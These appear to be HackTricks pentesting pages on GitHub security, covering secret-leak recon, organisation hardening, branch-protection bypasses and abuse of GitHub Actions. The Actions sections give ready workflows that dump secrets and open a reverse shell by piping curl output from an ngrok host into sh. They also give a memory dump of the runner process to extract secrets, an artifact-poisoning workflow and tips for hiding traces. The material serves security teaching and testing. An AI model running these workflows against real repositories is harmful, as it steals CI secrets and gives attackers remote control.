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# Github Security
{{#include ../../banners/hacktricks-training.md}}
## What is Github
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
### Basic Information
{{#ref}}
basic-github-information.md
{{#endref}}
## External Recon
Github repositories can be configured as public, private and internal.
- **Private** means that **only** people of the **organisation** will be able to access them
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
- **Public** means that **all internet** is going to be able to access it.
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
### Github Dorks
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
Tools (each tool contains its list of dorks):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Leaks
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
Tools (each tool contains its list of regexes):
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
### External Forks
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
### Github Leaks in deleted/internal forks
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}
## Organization Hardening
### Member Privileges
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- _I couldn't find this info in the APIs response, share if you do_
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- _I couldn't find this info in the APIs response, share if you do_
- **More things can be configured** in this page but the previous are the ones more security related.
### Actions Settings
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Note that all this configurations can also be set on each repository independently
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- _I couldn't find an API with this info, share if you do_
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- _I couldn't find an API with this info, share if you do_
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrations
_Let me know if you know the API endpoint to access this info!_
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
## Recon & Attacks abusing credentials
For this scenario we are going to suppose that you have obtained some access to a github account.
### With User Credentials
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
> [!NOTE]
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
### With User SSH Key
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
```shell
gpg --list-secret-keys --keyid-format=long
```
### With User Token
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### With Oauth Application
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
### With Github Application
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
## Compromise & Abuse Github Action
There are several techniques to compromise and abuse a Github Action, check them here:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Branch Protection Bypass
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
## Bypass Environments Protections
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
## Persistence
- Generate **user token**
- Steal **github tokens** from **secrets**
- **Deletion** of workflow **results** and **branches**
- Give **more permissions to all the org**
- Create **webhooks** to exfiltrate information
- Invite **outside collaborators**
- **Remove** **webhooks** used by the **SIEM**
- Create/modify **Github Action** with a **backdoor**
- Find **vulnerable Github Action to command injection** via **secret** value modification
### Imposter Commits - Backdoor via repo commits
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
{{#include ../../banners/hacktricks-training.md}}

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# Abusing Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
In this page you will find:
- A **summary of all the impacts** of an attacker managing to access a Github Action
- Different ways to **get access to an action**:
- Having **permissions** to create the action
- Abusing **pull request** related triggers
- Abusing **other external access** techniques
- **Pivoting** from an already compromised repo
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
## Impacts Summary
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
- **Compromise deployments** and other **artifacts**.
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
## GITHUB_TOKEN
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Note that the token **expires after the job has completed**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Some interesting things you can do with this token:
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approve PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
<details>
<summary>List secrets in Github Action output</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Allowed Execution
> [!NOTE]
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
>
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
### Execution from Repo Creation
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
### Execution from a New Branch
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Forked Execution
> [!NOTE]
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
### `pull_request`
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
>
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
> [!CAUTION]
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
### **`pull_request_target`**
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
An this one will have **access to secrets**.
### `workflow_run`
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
## Abusing Forked Execution
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
### Untrusted checkout execution
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
<strong> - uses: actions/checkout@v2
</strong><strong> with:
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
</strong>
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
</code></pre>
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Vulnerable Third Party Github Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Example of vulnerable workflow:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
This could be attacked with this workflow:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Other External Access
### Deleted Namespace Repo Hijacking
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
> [!CAUTION]
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
### Cache Poisoning
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
{{#ref}}
gh-actions-cache-poisoning.md
{{#endref}}
### Artifact Poisoning
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
{{#endref}}
---
## Post Exploitation from an Action
### Accessing AWS and GCP via OIDC
Check the following pages:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}
{{#ref}}
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
If you are injecting content into a script it's interesting to know how you can access secrets:
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
<details>
<summary>List secrets in Github Action output</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
- ```bash
cat /home/runner/work/_temp/*
```
- For a JavaScript actions the secrets and sent through environment variables
- ```bash
ps axe | grep node
```
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
```yaml
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
```
### Abusing Self-hosted runners
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Github Docker Images Registry
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
An example can be find in the following expandable:
<details>
<summary>Github Action Build &#x26; Push Docker Image</summary>
```yaml
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
```
</details>
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
Then, the user could search for **leaked secrets in the Docker image layers:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
{{#endref}}
### Sensitive info in Github Actions logs
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
## Covering your Tracks
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
> [!WARNING]
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
## Tools
The following tools are useful to find Github Action workflows and even find vulnerable ones:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
{{#include ../../../banners/hacktricks-training.md}}

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# Gh Actions - Artifact Poisoning

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# GH Actions - Cache Poisoning

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# Gh Actions - Context Script Injections

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# Accessible Deleted Data in Github
{{#include ../../banners/hacktricks-training.md}}
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
## Accessing Deleted Fork Data
1. You fork a public repository
2. You commit code to your fork
3. You delete your fork
> [!CAUTION]
> The data commited in the deleted fork is still accessible.
